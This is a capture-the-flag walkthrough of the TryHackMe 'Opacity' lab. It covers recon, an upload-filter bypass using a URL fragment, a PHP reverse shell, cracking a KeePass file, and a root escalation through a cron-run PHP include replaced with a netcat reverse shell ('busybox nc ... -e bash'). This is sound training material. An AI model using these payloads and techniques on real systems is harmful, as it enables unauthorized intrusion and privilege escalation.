TryHackMe: Opacity Walkthrough

Jo Coscia

2023/04/09

This is a walkthrough of TryHackMe’s Opacity CTF box. Note that this walkthrough may not be comprehensive, and there may be more vulnerabilities than the ones I describe. This was performed from the ‘AttackBox’, a virtual machine provided by TryHackMe. You can find this box at https://tryhackme.com/room/opacity

All screenshots included in this article are © TryHackMe and mindsflee.

Recon and Foothold

To start off, I will add this machine to my hosts file, so I don’t need to remember the IP. Some web applications may act differently depending on the HTTP Host header your browser/client is sending, so this is another good reason to set this.

echo '10.10.169.222 opacity.thm' >> /etc/hosts

Now, it’s time for some recon. I use Nmap to scan for open ports:

root@attackbox:~# nmap --max-rtt-timeout 1500ms --min-parallelism 900 -T5 -p- --open opacity.thm
Warning: Your --min-parallelism option is pretty high!  This can hurt reliability.

Starting Nmap 7.60 ( https://nmap.org ) at 2023-04-09 02:13 BST
Nmap scan report for opacity.thm (10.10.169.222)
Host is up (0.0065s latency).
Not shown: 65139 closed ports, 392 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 02:72:07:05:43:D3 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 11.72 seconds

We have SSH, HTTP, and SMB services accessible on this machine. Lets start with HTTP.

After visiting http://opacity.thm/, we are greeted with a login page:

There may be more pages, so I ran gobuster against the site:

root@attackbox:~# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir -u http://opacity.thm/
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://opacity.thm/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2023/04/09 05:16:48 Starting gobuster
===============================================================
/css (Status: 301)
/cloud (Status: 301)
/server-status (Status: 403)
===============================================================
2023/04/09 05:17:14 Finished
===============================================================

http://opacity.thm/cloud/ hosts a web application for uploading images. It accepts URLs rather than actual uploads through the browser, so I spun up a webserver with python3 -m http.server, and uploaded a benign image, “test.jpg”. After briefly redirecting me to a ‘progress’ page, it showed me the image, which is at http://opacity.thm/cloud/images/test.jpg

Upload page, with a form for submitting a URL to retrieve the image from.
A progress page, shown after submitting the previous form.
A page showing the uploaded image, and the URL to it.

My plan of attack is to upload a reverse shell written in PHP. I grabbed the reverse shell from /usr/share/webshells/php/php-reverse-shell.php, added the IP of my system, and ran netcat to catch the shell, with nc -nvlp 1234

Initially, I tried just uploading it as-is, with the filename “shell.php”, but I received the error “Please select an image”. After renaming it to “shell.jpg”, the upload completed successfully, although the shell will not run, as the file extension is incorrect.

The application appears to be filtering uploads based on the file extension. To bypass this, it would be useful to see the User-Agent header it’s using when it fetches my image:

root@attackbox:~/Downloads# nc -nvlp 8000
Listening on [0.0.0.0] (family 0, port 8000)
Connection from 10.10.169.222 43078 received!
GET /shell.php HTTP/1.1
User-Agent: Wget/1.20.3 (linux-gnu)
Accept: */*
Accept-Encoding: identity
Host: 10.10.14.144:8000
Connection: Keep-Alive

It’s using Wget! If the application is just calling it with exec() or system(), maybe we can pull some shell shenanigans, to trick it into downloading our reverse shell, while keeping the .php file extension. I put in http://10.10.14.144:8000/shell.php#a.jpg as the URL. The PHP script will see the .jpg at the end, and accept it. However, the shell will ignore everything after the #, and Wget will ultimately download shell.php.

The upload completed, the reverse shell was run, and we now have a shell as www-data!

root@attackbox:~# nc -nvlp 1234
Listening on [0.0.0.0] (family 0, port 1234)
Connection from 10.10.176.169 41724 received!
Linux opacity 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
 04:28:41 up 25 min,  0 users,  load average: 0.00, 0.05, 0.24
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

PrivEsc from www-data to sysadmin, and first flag

The login page we saw before is within /var/www/html/, and has the credentials hardcoded inside it, in plain-text. Sadly, logging in just leads to a placeholder website, and seems to be a dead-end.

Looking inside /etc/passwd and /home/, I see there is a ‘sysadmin’ user. It owns the first flag at /home/sysadmin/local.txt, but I can’t read it as www-data.

After some poking around, I found a KeePass file, at /opt/dataset.kdbx. I downloaded the KeePass file to my machine, and cracked it with john:

root@attackbox:~# /opt/john/keepass2john dataset.kdbx > dataset.john
root@attackbox:~# john dataset.john
Warning: detected hash type "KeePass", but the string is also recognized as "KeePass-opencl"
Use the "--format=KeePass-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 100000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Will run 2 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 4 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/opt/john/password.lst
[REDACTED]
Session completed.

Inside, is the password for sysadmin! I was able to SSH in with ssh sysadmin@opacity.thm, and read the first flag with cat local.txt.

PrivEsc from sysadmin to root, and second flag

There is a scripts directory in sysadmin’s home. Inside is a PHP script and libraries to periodically clear out the /var/www/html/cloud/images/, which is where our shell was uploaded earlier. It also backs up the content of /home/sysadmin/scripts/ to /var/backups/backup.zip.

/var/www/html/cloud/images/ is now empty, so something must be running this script. I checked for cronjobs with crontab -e, but this user doesn’t have a crontab set up. Maybe it’s running as another user?

I uploaded and ran pSpy, which shows that it’s actually running as root!

sysadmin@opacity:/tmp$ ./pspy64
...
2023/04/09 04:48:01 CMD: UID=0     PID=1814   | /bin/sh -c /usr/bin/php /home/sysadmin/scripts/script.php 

The sysadmin user does not have permission to write to the script itself, but the script includes /home/sysadmin/scripts/lib/backup.inc.php, and the permissions on /home/sysadmin/scripts/lib/ permit sysadmin to replace the file. I chose a simple reverse shell:

<?php


ini_set('max_execution_time', 600);
ini_set('memory_limit', '1024M');


function zipData($source, $destination) {
        system('/usr/bin/busybox nc 10.10.75.194 1235 -e bash');
}
?>

The script ran again, and I caught the root shell, netting us the final flag:

root@attackbox:~# nc -nvlp 1235
Listening on [0.0.0.0] (family 0, port 1235)
Connection from 10.10.176.169 33976 received!
id
uid=0(root) gid=0(root) groups=0(root)
ls
proof.txt
snap
cat proof.txt
[REDACTED]